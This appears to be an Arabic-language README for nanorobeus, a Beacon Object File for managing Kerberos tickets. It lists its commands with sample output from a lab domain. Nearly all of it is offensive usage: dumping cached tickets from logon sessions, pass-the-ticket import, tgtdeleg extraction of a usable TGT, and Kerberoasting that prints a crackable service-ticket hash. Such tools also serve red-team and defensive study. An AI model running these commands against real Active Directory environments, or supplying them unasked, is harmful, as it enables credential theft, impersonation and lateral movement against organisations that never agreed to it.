
ملف COFF (BOF) لإدارة تذاكر Kerberos.
ملف COFF (BOF) لإدارة تذاكر Kerberos.
luid - احصل على معرف تسجيل الدخول الحالي
sessions [/luid:<0x0>| /all] - احصل على جلسات تسجيل الدخول
klist [/luid:<0x0> | /all] - اعرض تذاكر Kerberos
dump [/luid:<0x0> | /all] - قم بتفريغ تذاكر Kerberos
ptt /ticket:<base64> [/luid:<0x0>] - استورد تذكرة Kerberos إلى جلسة تسجيل الدخول
purge [/luid:<0x0>] - امسح تذاكر Kerberos
tgtdeleg /spn:<spn> - احصل على TGT قابل للاستخدام للمستخدم الحالي
kerberoast /spn:<spn> - نفذ Kerberoasting ضد SPN المحدد
احصل على معرف تسجيل الدخول الحالي.
=> nanorobeus64 luid
[+] Current LogonId: 0:0x19ea88e
احصل على معلومات تفصيلية حول جلسة تسجيل الدخول الحالية.
=> nanorobeus64 sessions
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : [email protected]
اعرض تذاكر Kerberos لجلسة تسجيل الدخول الحالية. عند التشغيل بصلاحيات مرتفعة، استخدم /all لعرض التذاكر من جميع الجلسات أو /luid:0x0 لعرض التذاكر في جلسة تسجيل دخول محددة.
=> nanorobeus64 klist
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : [email protected]
[*] Cached tickets: (6)
[0]
Client name : User @ FORTRESS.LOCAL
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
Start time : 2/7/2022 19:22:44 (UTC)
End time : 3/7/2022 5:22:43 (UTC)
Renew time : 9/7/2022 19:22:43 (UTC)
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
Encryption type : AES256_CTS_HMAC_SHA1
...(snip)...
قم بتفريغ التذاكر من جلسة تسجيل الدخول الحالية. عند التشغيل بصلاحيات مرتفعة، استخدم /all لتفريغ التذاكر من جميع الجلسات أو /luid:0x0 لتفريغ التذاكر من جلسة تسجيل دخول محددة.
=> nanorobeus64 dump
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : [email protected]
[*] Cached tickets: (6)
[0]
Client name : User @ FORTRESS.LOCAL
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
Start time : 2/7/2022 19:22:44 (UTC)
End time : 3/7/2022 5:22:43 (UTC)
Renew time : 9/7/2022 19:22:43 (UTC)
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
Encryption type : AES256_CTS_HMAC_SHA1
Ticket : doIFFjCCBRKgAwIBBaEDAgEWooIEGTCCBBVhggQRMIIEDaADAg...(snip)...
استورد تذكرة إلى جلسة تسجيل الدخول الحالية. عند التشغيل بصلاحيات مرتفعة، استخدم /luid:0x0 لاستيراد التذكرة إلى جلسة تسجيل دخول محددة.
=> make_token network fortress.local test pass
=> nanorobeus64 ptt /ticket:doIFqjCCBaagAwIB...snip...
[+] Ticket successfully imported.
امسح جميع تذاكر Kerberos من جلسة تسجيل الدخول الحالية. عند التشغيل بصلاحيات مرتفعة، استخدم /luid:0x0 لمسح التذاكر من جلسة تسجيل دخول محددة.
=> nanorobeus64 purge
[+] Successfully purged tickets.
احصل على TGT قابل للاستخدام للمستخدم الحالي.
=> nanorobeus64 tgtdeleg /spn:cifs/server.fortress.local
[*] Found the AP-REQ delegation ticket in the GSS-API output
[*] Authenticator etype: AES256_CTS_HMAC_SHA1
[*] Successfully extracted the service ticket session key
[*] Successfully decrypted authenticator
[+] Successfully extracted TGT: doIFeDCCBXSgAwIBBaEDAgEWooIEcjC...(snip)...
نفذ Kerberoasting بتحديد SPN:
=> nanorobeus64 kerberoast /spn:HTTP/server.fortress.local
[*] Target SPN: HTTP/server.fortress.local
[+] Hash: $krb5tgs$23$*$FORTRESS.LOCAL$HTTP/server.fortress.local*$ac5e2f4d28fd377...(snip)...